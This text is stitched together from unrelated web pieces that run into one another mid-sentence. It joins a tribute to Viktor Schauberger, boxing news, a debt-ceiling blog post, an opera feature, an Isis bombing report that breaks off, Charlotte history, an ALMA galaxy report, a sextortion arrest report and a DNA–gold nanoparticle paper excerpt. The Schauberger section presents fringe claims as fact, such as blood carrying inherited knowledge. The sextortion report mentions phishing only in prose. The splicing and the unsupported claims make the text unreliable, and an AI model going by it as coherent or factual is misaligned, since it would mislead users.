p. 3) Viktor also gave much attention to designing water pipes that would allow water to follow the spiralling motion while travelling through to populated areas, of course these were made of suitably non polluting materials. In 1952 Viktor and his son Walter were invited to the technical college of Stuttgart by Professor Popel of the management of water resources to participate in experiments. The initial intention was to discredit Viktor's ideas but as the investigations got underway the Professor was surprised that the results verified Viktor's understanding of the properties and principles of water and its movement. Towards this stage of his life Viktor had experienced many years of strain, through war, financial limitations, arduous research and despair as to the direction humanity was taking over our beloved Mother Earth. His health was suffering from a weak heart and asthma. In the winter of 1957/58 Viktor was approached by two Americans, drawn to him through the recent publicity given to his Implosion machine (trout turbine). Viktor was still working on perfecting this design although publicly it had been taken up by anti-nuclearists as an alternative source of power. Shortly after in the following month of June, Viktor and his son were flown to Texas for what was to be a 3 month visit to investigate his work. His documents, models and equipment were also dispatched to the USA. The Schaubergers' were housed in isolation in the Texan desert during the hottest months of the year. The research results were sent to an expert in Atom technology for analysis who verified their results 100%. After 3 months Viktor expressed his wish to return home but his hosts were reluctant to let him leave after such satisfactory results, it was their intention that the Schaubergers' stay for the next few years. A month later in September and after much distress for Viktor, he was told that he could go home if he agreed to learn English, he was given 30 minutes to decide. Viktor agreed under duress and his son was also asked to sign a contract which he refused to do, for as a visitor this would have brought him under American law. The agreement also included a statement which precluded any of Viktor Schauberger's work being passed to anyone other than Mr. Robert Donner, this included his thoughts and knowledge in the past, present and future. Although shattered by their experience Viktor and his son were not allowed to rest before taking the 19 hour flight home. Unfortunately Viktor lost his will to live, and in only five days after returning home on the 25th September 1958 Viktor died in Linz aged 73. Despairingly he repeated over and over "They took everything from me, everything I don't even own myself" (p.123 ibid.) Viktor had given his life for water, the forests, the soil and for Nature's wholeness and order. Academically untrained his writings and testimonials confirm his breadth of learning and his reseach reflects his extensive knowledge of physics, chemistry and hydrology. He was once asked to explain his authority and knowledge, he replied that no one had taught him but he had the advantage of inheritance which he defined further: "Everything is corpuscular, even energy and light waves. Even matter is inert energy. This also applies to blood, which is a materialised power flow that carries energy from past generations through present to future generations. This flow is not broken with the person's death, but is carried further to his successors. However, this energy can be degenerated, for example, by negative technology, so that the thoughts and outlook which have accumulated within a person's being over thousands of years, is lost. It is possible for the person who has the advantage of this gift of inheritance to summon up from his blood all this reservoir of knowledge." (p.125 ibid.) Walter Schauberger has promoted Viktor's work through the Biotechnical Academy, which raises finances through increased interest in the courses and workshops they can provide. In the last 30-40 years the interest and the experimental application of Viktor's work has continued to develop. Although so many of us live our daily lives detached from nature, I hope there are many of you who can appreciate the profundity of Schauberger's work. If we can hold in our thoughts the wonderful possibilities that nature holds for us, if we were allowed to learn from and communicate with her. Our Goddess is calling us and though at this time our hands may be tied, our ears, eyes and hearts can still be open so that we can allow ourselves to imagine the purity that could be attained; since all things begin with a thought. Source Material:
Living Water ~ Viktor Schauberger and the Secrets of Natural Energy
Olof Alexandersson The Shocking Truth About Water
Patricia and Paul Bragg The Water Wizard ~ The Extraordinary Properties of Water
Callum Coats Living Energy
Callum Coats With special thanks to James Warnell of Diamond Spring for his assistance in assessing the information in this article. Researched and compiled by Denise TurnerChristina McMahon has secured the Interim WBC Bantamweight title after defeating Catherine Phiri in Zambia.
The former kickboxing champion is Ireland’s only professional female boxer and outclassed her opponent in front of her home support to claim the belt.
The Monaghan native had to endure a fine start to the ten-round contest by Phiri but McMahon got stronger as the fight progressed to land the title.
McMahon’s unbeaten record has been extended to 7-0 as the 40-year-old secured the €17,000 purse.
Christina “Lightning” McMahon schooled Catherine Phiri. She was way too smart #experience — Mwiinga Maimbolwa (@mwiingasson) May 2, 2015
Phiri was rated second with the WBC ahead of the fight, while McMahon will surely move up from her tenth place.
McMahon should now get a chance to be crowned outright WBC world champion against reigning world champion Yazmin Rivas.Looking for news you can trust?
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President Trump has “sided with Democrats” in approving a 3-month deal that raises the debt ceiling, funds Harvey relief, and includes a continuing resolution to fund the government through December:
Trump made his position clear at a White House meeting with congressional leaders, agreeing with Senate Minority Leader Charles E. Schumer (D-N.Y.) and House Minority Leader Nancy Pelosi (D-Calif.) by voicing support for a three-month bill to fund the government and raise the debt ceiling for the same amount of time. Senate Majority Leader Mitch McConnell (R-Ky.) said he would add provisions extending government funding and the debt limit through mid-December to legislation passed by the House on Wednesday that would provide $7.85 billion in Hurricane Harvey relief. “The president agreed with Sen. Schumer and Congresswoman Pelosi to do a three-month [funding extension] and a debt ceiling into December, and that’s what I will be offering based on the president’s decision, to the bill. And we’ll try to get 60 votes and move forward,” McConnell told reporters Wednesday afternoon. “The president can speak for himself, but his feeling was that we needed to come together to not create a picture of divisiveness at a time of genuine national crisis. And that was the rationale.”
I suppose all the outrage theater this morning was basically in service of this: pretending that this bill is all Democrats’ fault. That’s not because the Republican leadership has any real objection to it—all of this stuff was inevitable eventually—but because they needed a scapegoat to placate the ultras in their own party. So they pretend to get dragged into this, even though it’s what they wanted all along.
In fact, it’s better than they could have hoped for. Congress has a ton of stuff on its plate in September, and getting three big things off the table right away is terrific news for them. This gives them some breathing room to consider other things, like FAA reauthorization, Obamacare stabilization, and immigration. I’m not sure how much good it will do them, considering the fault lines in their own party, but honestly, Mitch McConnell must be breathing a huge sigh of relief right now. He’ll never admit it, but he is.Beginning November 1st, composers, musicians, writers and singers from all over the state of Georgia and beyond are meeting up in Atlanta to participate in the Atlanta Opera’s 24 Hour Opera Project. The participants split into teams to write and perform an opera…in 24 hours. During 2012’s event, two of our producers—Scott Casavant and Myke Johns—spent time with one team of participants to get a closer look at the process of writing and staging an opera in a day.
Just to be clear, 24 hour opera does not mean an opera that lasted 24 hours. In this annual competition, composers and lyricists who had never met are randomly paired together and locked in rehearsal studios to write a seven-to-ten minute opera opera in 12 hours. Teams of singers and directors rehearsed what they’d written and the following night, all five resulting operas were performed in front of an audience and a panel of judges.
We met composer Natalie Williams, who teaches Music Theory and Composition at the University of Georgia. She was paired with Atlanta playwright Vynnie Meli. This was her third time competing in the 24 Hour Opera.
This year’s theme was “Convincing Confessions.” In addition to the theme, each team were given two props which they had to work into the show. Williams and Meli wrote through the night, coming up with a short piece titled “The Puddle of Youth.”
You can see the final performances of all five operas on the Atlanta Opera’s website here.Twelve members of emergency services and three mosque workers killed when bomber detonated vest during noon prayers in Asir
The Islamic State terror group has claimed responsibility for a suicide bombing in a Saudi Arabian mosque that killed at least 15 people, including 12 members of a Saudi special forces unit, the latest in a spate of such attacks in the Gulf kingdom.
Isis said in a statement circulated on social media that it had targeted the men because they enabled the rule of Saudi Arabia’s monarchs and their western backers, and because they allegedly tortured Isis sympathisers.
The group pledged further attacks in the Arab world, and boasted of its ability to pierce Saudi security measures.
The Saudi interior ministry said a bomber wearing suicide vests detonated his explosives during Thursday’s noon prayers at a mosque in the headquarters of the “emergency services” in Abha, the provincial capital of Asir, near the south-western border with Yemen.
The government said the blast killed 12 members of the special forces team and three mosque workers. It earlier put the toll at 13, but later said two of the wounded had died.
“The incident is being followed up by the relevant security agencies,” the ministry said in the statement, adding that they had found the remnants of suicide vests in the mosque.
The Isis statement identified the suicide bomber with the nom de guerre “Abu Sinan al-Najdi”, which indicates that he is from Najd, a region in Saudi Arabia.
Second Saudi Arabia suicide bombing fuels Isis campaign fears Read more
The attack is the latest in a series of security incidents |
dynamic urban areas in the region.
Charlotte's earliest settlers were Presbyterians of Scots-Irish descent who built a small courthouse, marketplace and village at the intersection of ancient Native American trading paths (the actual intersection is the Square formed by Trade and Tryon Streets) during the middle of the 18th Century. Both Charlotte and Mecklenburg County were named in honor of the Germanic wife of King George III of England. In addition, the main thoroughfare (Tryon St.) was named in tribute to the English Governor of the day. The establishment of a courthouse made Charlotte the seat of Mecklenburg County, and it was known for little more in its early days.Astronomers have discovered a nest of monstrous baby galaxies 11.5 billion light years away using the Atacama Large Millimeter/submillimeter Array (ALMA). The young galaxies seem to reside at the junction of gigantic filaments in a web of dark matter. These findings are important for understanding how monstrous galaxies like these are formed and how they evolve in to huge elliptical galaxies.
We are living in a relatively quiet period in the history of the universe. Ten billion years ago, long before the Sun and Earth were formed, areas of the universe were inhabited by monstrous galaxies with star formation rates hundreds or thousands of times what we observe today in the Milky Way galaxy. There aren’t any monstrous galaxies left in the modern universe, but astronomers believe that these young galaxies matured into giant elliptical galaxies which are seen in the modern universe.
Current galaxy formation theories predict that these monstrous galaxies form in special environments where dark matter is concentrated. But up until now it has been difficult to determine the positions of active star forming galaxies with enough precision to actually test this prediction. Part of the problem is that monstrous star-forming galaxies are often obscured in dust, making them difficult to observe in visible light. Dusty galaxies do emit strong radio waves with submillimeter wavelengths, but radio telescopes typically have not had the resolution needed to pin-point individual galaxies.
To search for monstrous galaxies, the research team led by Hideki Umehata, Yoichi Tamura, and Kotaro Kohno used ALMA to make extensive observations of a small part of the sky called SSA22 in the constellation Aquarius (the Water-Bearer).
Before their ALMA observations, the team searched for baby galaxies in SSA22 with ASTE, a 10-metre submillimeter telescope operated by NAOJ. While the sensitivity and resolution was not sufficient to be sure, in the ASTE images they could see indications that there might be a cluster of monstrous galaxies. With ten times better sensitivity and 60 times better resolution, ALMA enabled astronomers to pinpoint the locations of nine monstrous galaxies in SSA22.
The team compared the positions of these galaxies with the location of a cluster of young galaxies 11.5 billion light years from Earth in SSA22 which had been studied in visible light by the Subaru Telescope, operated by the National Astronomical Observatory of Japan (NAOJ). The shape of the cluster observed by the Subaru Telescope indicates the presence of a huge 3D web of invisible dark matter. This dark matter filamentary structure is thought to be a progenitor of large scale structures in the universe. One of the best known examples of large scale structure in the modern universe is the cosmic Great Wall, a gigantic filamentary structure spanning over 500 million light years. The filamentary structure in SSA22 could be called a proto-Great Wall.
The team found that their young monstrous galaxies seemed to be located right at the intersection of the dark matter filaments. This finding supports the model that monstrous galaxies form in areas where dark matter is concentrated. And since modern large elliptical galaxies are simply monstrous galaxies which have mellowed with age, they too must have originated at nexuses in the large scale structure.
This result is a very important step for a comprehensive understanding of the relation between the dark matter distribution and monstrous galaxies. The team will continue its extensive search for monstrous galaxies to look back even farther into the early history of the universe to study the evolution of the large scale structure.
Keep up to date with the latest space news in All About Space – available every month for just £4.50. Alternatively you can subscribe here for a fraction of the price!Federal agents arrested a State Department employee flying out of Atlanta this week and charged him with running a massive “sextortion” scam claiming he stole sexually explicit photos of young women from their Internet accounts and then blackmailed them for more sexual photos and videos.
Michael C. Ford, a staffer at the American embassy in London who was visiting his parents in Alpharetta, is suspected of victimizing hundreds of young women across the nation by hacking their accounts from his State Department computer. He wanted to humiliate, torment and intimidate the women— often university sorority sisters — by threatening to post the photos online with their name and address, a prosecutor said.
He is accused of emailing the photos to at least one woman’s parents and brother, said Senior Trial Attorney Mona Sedky of the Justice Department’s Criminal Division’s Computer Crime and Intellectual Property Section. She flew in from Washington D.C. to oppose bond for Ford at a hearing Thursday in federal court in Atlanta. The women fear Ford would continue harassing them, she said.
She contended it was cyber crime of such magnitude that a magistrate should take the unusual step in federal court of not setting a bond. Magistrate E. Clayton Scofield, however, rebuffed the contention Ford posed such a continual threat to the emotional well-being of young women that he should remain locked up until his trial or plea.
He set a $50,000 bond for Ford and ordered house arrest at a house he owns in Dunwoody. Scofield prohibited the home, including cars in the garage, from having any computers or Internet access.
Ford, who has lived in Great Britain since 2005, faces multiple charges including cyber-stalking and making interstate threats. “Sextortion,” is a growing crime, experts say, in which often young women are turned into targets for financial blackmail or sexual gratification because of sexually explicit photos of themselves they kept in Internet accounts.
Ford is not accused of extorting money. Sedky described the man, who sat shackled in an orange jumpsuit Thursday, as a predator who derived pleasure from toying with his victims and coercing more photos and videos from them.
“He targeted women at U.S. colleges and universities and was looking for women who were members of sororities … and aspiring models,” Sedky said. “He is just relentless.”
The case first came to attention of the FBI after an 18-year-old in Kentucky and 22-year-old in Illinois, complained their Internet accounts had been hacked earlier this year and they were targeted for extortion.
In April, Eric J. Kasik, of the Department of State Diplomatic Security Service, said a federal agent asked him for help in tracking down someone who might have been using a State Department computer to cyber-stalk a woman in Kentucky, according to a federal arrest warrant.
Ford, 35, is accused of getting the women’s email passwords through “phishing” expeditions. The warrant said he would send emails masked as from coming from an official Google account that threatened to shut down the account unless the women verified their information and provided a password. He would then use the password to help hack into their Internet accounts where they stored photographs, the warrant said.
Sedky said one of the email accounts employed by Ford to deliver the explicit photos to the victims was named “LookatwhatIhave666.”
A search of Ford’s computer at the London Embassy turned up a spreadsheet of 262 email addresses, Sedky said. Some were associated with schools such as Ball State University and the University of Michigan.
“I believe that the account holders listed on the spreadsheet are all victims of Ford’s criminal activity,” Kasik wrote in the May 15 affidavit for the warrant.
Ford is accused of extortion to try to force his victims into providing more compromising video for him with their cellphones, Kasik said.
He “apparently hacked into and stole compromising photographs from the online accounts belonging Jane Doe One,” Kasik wrote in the affidavit. “He then demanded that Jane Doe One take videos of other girls” and “sexy girls” who were undressing in changing rooms at pools, gyms, and clothing stores, and then give the videos to him.”
Ford, a St Pius X Catholic High School graduate grew up in Alpharetta. His lawyers said he married his childhood sweetheart after attending Valdosta State University.
The couple has a 15-month-old child, according to his lawyer Benjamin Alper.
Ford was arrested Sunday when planning to fly back to London first-class with his family, Sedky said.
She said he made a three hour confession after agents arrested him. He said he had been unable to stop the stalking.
Sedky noted Ford apparently spent hours cyber-stalking at his embassy computer despite its warning from the State Department it was monitored. State Department security, however, apparently never detected the stalking.
“He was very brazen,” she said.The goal of our approach is to produce a robust patterning of DNA strands on the nanoparticle surface. This requires anchoring groups appended to the oligonucleotide that can bind strongly to the gold surface and remain so after downstream processing and manipulation of the samples29. With this in mind, a novel DNA conjugate was synthesized40,41, and was terminated with two cyclic disulfide moieties to allow AuNP–DNA conjugation (Supplementary Section IIIa–f).
The bisdisulfide–DNA (Dx, where x refers to the unique sequence) binds to AuNPs more efficiently and with faster binding kinetics than simple cyclic disulfide (CD)-terminated DNA (Supplementary Section IIIh). The extending C12 portion in Dx may help to orient the disulfide moieties away from the highly charged DNA backbone, and thus reduce the electrostatic repulsion, which is a key factor in the binding of DNA strands to gold nanoparticles42. Furthermore, AuNPs functionalized with Dx were considerably more stable than with the CD, as evidenced by a displacement assay using 1,4-dithiothreitol43 (see Supplementary Section IIIi). These binding and stability data suggest that the Dx conjugates are well suited to the patterning experiments to follow.
The criteria we set for the DNA nanostructure used as a template are as follows: it has the potential for (1) geometric variation, (2) the introduction of sequence asymmetry, (3) positioning of different numbers of Dx and (4) can be removed easily after pattern transfer. We showed previously that DNA minimal ‘clip-by-clip’-based structures can be used efficiently to site-specifically position DNA–amphiphile and DNA–polymer conjugates41,44,45. Here the same strategy was employed to arrange precisely the gold-binding DNA conjugates for pattern transfer to a nanoparticle.
The first step in the patterning process was to prepare the template, in this case a 3D DNA scaffold decorated with Dx for transfer to the AuNP substrate. As such, the organization of different numbers of Dx on the DNA scaffold was carried out to produce a range of different letters for the printing process (Fig. 2a). The single-stranded regions of the cubic scaffold Cb are 20 nucleotides (nt) in length. Based on previous designs, only the central 14 nt were used for the binding of the Dx and these have a spacer of 5 nt to orient them away from the crowded corners of the structure. This design also lowers the melting temperature of this region to facilitate the removal of the template after pattern transfer. The structures shown in Fig. 2b were assembled by one-pot thermal annealing of the appropriate molar equivalents of the component DNA strands in a buffer solution that contained 100 mM Na+. Quantitative yields of the desired products Cb–Da x (x = 1–4, cubes with one to four Da strands positioned on one face) eliminated the need for purification of the DNA nanostructure prior to AuNP patterning (Fig. 2b).
Figure 2: Pattern transfer using a cubic scaffold. a, The DNA cube, Cb, has eight ssDNA-binding sites that can be addressed site specifically to organize the Da molecules. b, Native polyacrylamide gel electrophoresis (PAGE) analysis of the Da addition to the cube scaffold: Lane 0, Cb; Lane 1, Cb–Da 1 ; Lane 2, Cb–Da 2 ; Lane 3, Cb–Da 3 ; Lane 4, Cb–Da 4 ; Lane L, 25–700-bp DNA ladder. c, Exemplary reaction scheme showing the binding of Cb–Da 4 to NP10 to produce the template-bound NP10–[Cb–Da 4 ] 1, which is treated with OEG for surface passivation before removal of the template by denaturing to produce NP10–Da 4, which can then hybridize to four EXT-A strands to produce the structure NP10–Da 4 –EXT-A 4 (drawn to an approximate scale; see Supplementary Section Va for the geometry calculations). d, AGE analysis of products obtained at Step 1 for the Cb–Da x variants: Lane control (Ctl), NP10; Lane 1, Cb–Da 1 + NP10; Lane 2, Cb–Da 2 + NP10; Lane 3, Cb–Da 3 + NP10; Lane 4, Cb–Da 4 + NP10. e, AGE analysis at Step 2 for denatured product bands: Lane Ctl, NP10; Lane 1, NP10–Da 2 ; Lane 2, NP10–Da 3 ; Lane 3, NP10–Da 4. f, AGE analysis at Step 3 after the addition of EXT-A for resolution of the products: Lane 1, NP10–Da 2 –EXT-A 2 ; Lane 2, NP10–Da 3 –EXT-A 3 ; Lane 3, NP10–Da 4 –EXT-A 4. g, DLS measurements of the templated product NP10–Da 4 at Steps 2 (left) and 3 (centre) in comparison with a control sample in which four Da strands are positioned randomly on the nanoparticle (right) reveal a lower polydispersity, consistent with regioselectivity. Full size image
With the Da-decorated cubic scaffolds Cb–Da x in hand, we proceeded to investigate their ability to bind to AuNPs and transfer the desired number of Da strands. Based on geometry calculations (Supplementary Section Va), 10 nm AuNPs (NP10) were used, as they represent the best size match for the cubic scaffold. Gold nanoparticles were incubated with Cb–Da x at a 1:1 molar ratio for 16 hours at room temperature. The resulting hybrid DNA cage–nanoparticle assemblies, NP10–Cb–Da x (Fig. 2c), were analysed by agarose gel electrophoresis (AGE) with reference to a control AuNP sample (Fig. 2d).
Electrophoretic mobility data for the reaction mixtures of cubes Cb–Da x with 10 nm particles NP10 (Step 1) are shown in Fig. 2d. Although the binding of Cb–Da 1 and Cb–Da 2 (cubes with one or two Da conjugates, respectively) to NP10 is inefficient, both Cb–Da 3 and Cb–Da 4 show a product that exhibits a mobility consistent with the NP10–[Cb–Da x ] complex (see below for an elucidation). An increasing conjugation yield is observed with increasing Da number positioned on the cube, which suggests a cooperative effect because of the spatial organization on the template (see below and Fig. 3 for the identity of the minor product of lower gel mobility in Fig. 2d, Lane 4, as the AuNP with two bound cubes). Control experiments using cubes without Dx strands revealed no interaction with AuNPs, which confirms that binding was mediated by the Dx organized on the DNA cube (Supplementary Fig. F9).
Figure 3: Introduction of geometric diversity via the template. a, General scheme for the patterning of AuNPs using the DNA scaffolds TP–Da 3, Cb–Da 4 and PP–Da 5 to produce the tri-, tetra- and pentavalent DNA–AuNPs NP10–Da 3, NP10–Da 4 and NP10–Da 5. b, PAGE analysis of Da-decorated prisms: Lane 0, TP; Lane 1, TP–Da 3 ; Lane 2, Cb; Lane 3, Cb–Da 4 ; Lane 4, PP; Lane 5, PP–Da 5 ; Lane L, 75–300-bp DNA ladder. c, AGE analysis of crude products at Step 1: Lane Ctl, NP10; Lane 1, TP–Da 3 + NP10; Lane 2, Cb–Da 4 + NP10; Lane 3, PP–Da 5 + NP10. The lower mobility band is assigned to a single gold nanoparticle bound to two DNA prisms (see e). d, AGE analysis of purified patterned products NP10–Da 3, NP10–Da 4 and NP10–Da 5 and the addition of EXT-A strands: Lane Ctl, NP10; Lane 1, NP10–Da 3 ; Lane 2, NP10–Da 4 ; Lane 3, NP10–Da 5 ; Lane 4, NP10–Da 3 –EXT-A 3 ; Lane 5, NP10–Da 4 –EXT-A 4 ; Lane 6, NP10–Da 5 –EXT-A 5. e, Products that are derived from the binding of two prisms to one AuNP, with and without EXT-A strands: Lane Ctl, NP10(OEG); Lane 1, NP10–Da 6 ; Lane 2, NP10–Da 8 ; Lane 3, NP10–Da 10 ; Lane 4, NP10–Da 6 –EXT-A 6 ; Lane 5, NP10–Da 8 –EXT-A 8 ; Lane 6, NP10–Da 10 –EXT-A 10. Full size image
To further stabilize the structures for downstream processing, passivation of the remaining surface of the AuNPs with a stable ligand was carried out (Fig. 2c). Carboxyl-terminated octaethylene glycol disulfide (OEG) chains were used to cover the AuNP surface. Interestingly, after this stage the patterned AuNPs were found to be remarkably stable in sodium buffer, and even in magnesium-containing buffers. This passivation step could be carried out before or after removal of the template scaffold with no observable difference to the assemblies (see Supplementary Fig. F11). The samples were then run on AGE and the product bands excised and isolated by electroelution. The template scaffold was removed by disrupting all the DNA hybridization under denaturing conditions (3 M urea, 1 × Tris-borate-EDTA (TBE)), followed by centrifugation to isolate the AuNPs. This process afforded purified NP10–Da x (see Step 2 in Fig. 2) with average isolated yields of up to 47% with respect to NP10. In principle, the constituent DNA strands of the cube may be isolated at this stage, and the cube reassembled for repeated use as a transient template.
To determine the number of Dx strands transferred to the AuNP, and thus the fidelity of the patterning process, extension strands (EXT-X) were used to provide greater gel mobility differences (see Step 3 in Fig. 2). Importantly, these also probe the addressability of the Dx strands bound to the AuNP surface. The EXT-X strands have a 17 nt region of complementarity with each Dx and an extending single-stranded DNA tail of 43 nt.
The gold nanoparticle that contains four transferred DNA strands, NP10–Da 4, was incubated with an excess of EXT-A (Fig. 2f, Lane 3). The resulting sample exhibited a decreased mobility, which reveals that the Da strands transferred to the AuNP surface remain available for duplex formation and retain practical hybridization kinetics. The process was repeated for NP10–Da 3 and NP10–Da 2 in which the cube is bound to the nanoparticle via three or two DNA strands, respectively, and a higher-fidelity pattern transfer was observed with higher numbers of Da on the scaffold. In contrast, a non-templated control sample, prepared by incubating four molar equivalents of Da with 10 nm AuNPs, displayed a different behaviour. Hybridization of this structure to EXT-A showed a statistical distribution of products with between one and four Da strands bound to the AuNP (Supplementary Fig. F10). Dynamic light scattering (DLS) analysis of NP10–Da 4 showed a structure with less than 10% polydispersity, compared with the non-templated control with more than 20% polydispersity, which corroborates the electrophoresis results and suggests regioselective control via the cube template (see Supplementary Section Ve for further details).
DNA prismatic cages can be varied readily with respect to their geometry. Each geometry should transfer a different pattern of DNA strands to the nanoparticle, with different numbers and spacing of the Dx on the AuNP surface (Fig. 3a). The preparation of Janus particles as a strategy to introduce anisotropy to spheres has been used to produce a range of asymmetrically functionalized AuNPs34,35,37,39,46. Although hemispherical separation can be obtained, the number and placement of DNA strands on the AuNP is not precisely controlled.
To investigate this geometric control, triangular prism (TP) and pentagonal prism (PP) templates were synthesized in the same manner as for the cube (Fig. 3b). The scaffolds were decorated with Da strands to produce TP–Da 3 and PP–Da 5, which were incubated with 10 nm AuNPs and then passivated with OEG (Fig. 3a).
The prism–AuNP constructs were analysed by AGE and a decrease in electrophoretic mobility was seen with increasing DNA scaffold size, consistent with the binding of the prisms to the AuNPs. In each case the second bands, highlighted in Fig. 3c, were determined to be 1:1 complexes, for example, NP10–[TP–Da 3 ] 1. The band of lowest mobility was assigned as the 2:1 product, for example, NP10–[TP–Da 3 ] 2, based on gel mobility and titration assays (Fig. 3e and Supplementary Fig. F12).
After purification and removal of the prism strands by denaturation, EXT-A was added to resolve the number of strands transferred to the AuNP. In Fig. 3d, electrophoretic mobility patterns reveal that three, four and five strands were robustly transferred by TP–Da 3, Cb–Da 4 and PP–Da 5, respectively. Additionally, hydrodynamic radii of the patterned products, determined by DLS (Supplementary Section Ve), revealed a steady increase with an increasing number of strands on the nanoparticles, which is accentuated by the addition of extension strands EXT-A. Polydispersities were lower than those of non-templated gold nanoparticle conjugates (Supplementary Figs F17–F21 and Supplementary Table T5). These data, obtained for each step of the patterning process, demonstrate that well-defined numbers of DNA strands can be transferred to the AuNPs by geometric variation of the parent template.
Finally, we were interested in the potential of this strategy to transfer strands of different sequences to the nanoparticle. This confers particles with the ability for site-specific addressability and allows for anisotropic functionalization, and thus produces building blocks with great potential for the self-assembly of advanced materials27,28. A cubic scaffold with eight unique ssDNA-binding sites—a′, b′, c′, d′—was assembled and decorated with four unique gold-binding conjugates, Da, Db, Dc and Dd, on one face to give Cb-Asym (Fig. 4a). Incubation with 10 nm AuNPs followed by OEG surface passivation, isolation of the major product, NP10–[Cb-Asym] 1, and subsequent removal of the cubic scaffold produced sequence-asymmetric NP10–Da 1 –Db 1 –Dc 1 –Dd 1 (NP10-Asym). To confirm that the correct four-strand DNA sequence code had been transferred to the AuNP, stepwise addition of four unique EXT strands, complementary to Da, Db, Dc and Dd (EXT-A to EXT-D), was carried out as before. In Fig. 4b, the stepwise binding and site-selective addressability of NP10-Asym is shown. In Lane 3 of Fig. 4a, the addition of EXT-A produced a particle with one extension strand bound and Db, Dc and Dd available for further hybridization, E1. The subsequent addition of the remaining three extension strands revealed a ladder of decreasing mobility as each additional EXT binds to its specific site on NP10-Asym. This confirmed that the asymmetric pattern had been correctly transferred to the AuNP and the Dx are individually addressable because of their unique sequences.
Figure 4: Introduction of sequence asymmetry to the patterning. a, General strategy for the production of sequence-specifically patterned AuNPs using the asymmetric DNA scaffold Cb-Asym to transfer one of each Dx strand to the AuNP. After removal of the cube template, each Dx strand on NP10-Asym can be targeted individually to produce E1–E4. b, AGE analysis of purified NP10-Asym shows the site-specific binding of each unique EXT strand: Lane Ctl, NP10; Lane 0, NP10-Asym; Lane 1, E1; Lane 2, E2; Lane 3, E3; Lane 4, E4. c, AGE analysis of template-free control in which one equivalent of each Da–Dd was incubated with NP10, and the addition of specific EXT strands reveals the statistical distribution of number and sequence: Lane ctl, NP10(OEG); Lane 0, NP10-Asym; Lane 1, NP10-Asym + EXT-A; Lane 2, NP10-Asym + EXT-A/B; Lane 3, NP10-Asym + EXT-A/B/C; Lane 4, NP10-Asym + EXT-A/B/C/D. d, Recognition of parent cube by patterned AuNPs. The asymmetrically patterned nanoparticle NP10-Asym is incubated with a DNA cube that matches the sequence pattern used to produce the patterning complex itself (gel mobility validated by comparison with a crude patterning mixture) or with a cube that bears complementary sequences in the wrong configuration for which no binding is observed: Lane 1, NP10-Asym; Lane 2, NP10-Asym + Cb (a′, b′, c′, d′); Lane 3, NP10-Asym + Cb (4 × a′, 4 × b′). Full size image
A control sample of AuNP incubated with one molar equivalent of each Dx strand (Da–Dd) without organization on a template was prepared under the same conditions as the patterned sample. This should produce a statistical mixture of number and identity of Dx on the AuNP. Figure 4c reveals the stepwise addition of the EXT strands A–D. This highlights the control over information transfer possible through the use of the DNA nanoscaffold template.
Next, to probe both the sequence identity and relative positioning of the Dx strands, we used the cubic scaffold that contains both the sequence and geometry information needed to probe the exact configuration of the Dx strands on NP10-Asym. A sample of NP10-Asym was then incubated separately with two different cubic scaffolds that have either the correct four-sequence binding motif, matching the pattern of strands on NP10-Asym, or a mismatch control, which has four a′ and four b′ sequences, shown in Fig. 4d. The incubation was carried out at 75 nM AuNP, with 5 equiv. DNA structure with respect to AuNP, in a 1 × TAMg (Tris-acetate-magnesium) buffer, for 16 hours at room temperature. The resulting mixtures were then analysed by AGE. The results demonstrate that the patterned particle retains the molecular recognition (DNA sequence, shape and spacing) information granted by the template. In comparison, a non-templated control did not exhibit the same specificity (Supplementary Fig. F14), which strongly suggests that the pattern of DNA strands on the AuNP surface is anisotropic. Furthermore, the same experiment was carried out over multiple days, and the pattern was found to be stable for up to one month (see Supplementary Fig. F15).
To further characterize the asymmetrically functionalized nanoparticles, NP10-Asym, transmission electron microscopy (TEM) was used. First, to visualize the asymmetric pattern and regioselectivity by TEM, polyvalent 6 nm AuNPs (NP6) bearing complementary sequences (a′–d′) to the patterned NP10-Asym were used as site-selective probes. The parent particle NP10-Asym was incubated with an excess of NP6–Dx′, each with a sequence complementary to one of the strands on the nanoparticle (16 hours, room temperature, 1 × TAMg) to produce the structures T1–T4 shown in Fig. 5a. To aid microscopy analysis, the assemblies were purified by AGE prior to TEM analysis (see Supplementary Section VIf). TEM revealed that the desired satellite structures were generated successfully, with yields that decreased for the more-complex assemblies T3 and T4. The side products observed probably result from the ability of the polyvalent particles to act as crosslinks between NP10-Asym particles. Furthermore, interparticle distances were consistent with the expected values for T1 and T2; however, T3 and T4 showed mostly collapsed structures, possibly because of surface drying effects and Mg2+-mediated aggregation between the particles in such close proximity.
Figure 5: Microscopy analysis of the patterned AuNP self-assembly. a, TEM images show the site-specific addressability of the structure NP10-Asym by hybridization of polyvalent NP6, labelled with complementary strands Da′, Db′, Dc′ or Dd′; the structure of these satellites shows the anisotropic nature of the patterning (for additional TEM images and statistics, see Supplementary Section Vg). b, Four different dsDNA arm lengths were created to allow each unique sequence (A–D) to be visualized via TEM. In each case the ssDNA binding portion is 17 nt and sequences A, B and C have dsDNA spacers of 20, 40 and 60 bp, respectively. D has only the ssDNA 17 nt binding region with no dsDNA portion. c, A range of anisotropic satellite structures can be accessed from the patterned particle NP10-Asym and four unique monofunctionalized NP5 nanoparticles with differing arm lengths A–D. This produces interparticle separations of 30.4, 23.6, 16.8 and 10.0 nm for A, B, C and D, respectively. Additional experimental details and statistical analysis are given in Supplementary Section Vf–h. Full size image
Although these assemblies highlight the sequence-specific addressability of the parent particle, NP10-Asym, inherited from the asymmetric cube template, an improved design was developed to aid the microscopy characterization. This uses rigid double-stranded DNA (dsDNA) arms of different lengths on monofunctionalized nanoparticles to probe each addressable site on the NP10-Asym. Complementary sequences to the four strands on the nanoparticles had different arm lengths, denoted A–D in Fig. 5b. These should produce interparticle distances of 30.4, 23.6, 16.8 and 10.0 nm. Assemblies were carried out with an excess of the 5 nm monoconjugates A–D, and purified by AGE for TEM. Figure 5c shows representative images of some of the anisotropic satellite structures that can be obtained from NP10-Asym and the four unique arm lengths. These assemblies exhibited fewer collapsed structures and misassembled products than the structures T1–T4. This is consistent with the longer, more-rigid dsDNA arms that distance the particles from each other, and with the DNA monoconjugated nanoparticles. Additionally, interparticle distances were measured for each of the assemblies and were found to correlate well with the expected values. A full statistical overview, including population histograms, is given in Supplementary Section VIh. Overall, this method represents a simple modular strategy to give access to many unique architectures using a small number of building blocks. More importantly, these experiments also reveal the potential of the information-rich patterned particles, NP10-Asym, to undergo selective DNA-mediated self-assembly, and showcases their viability for the production of unique DNA–AuNP assemblies.
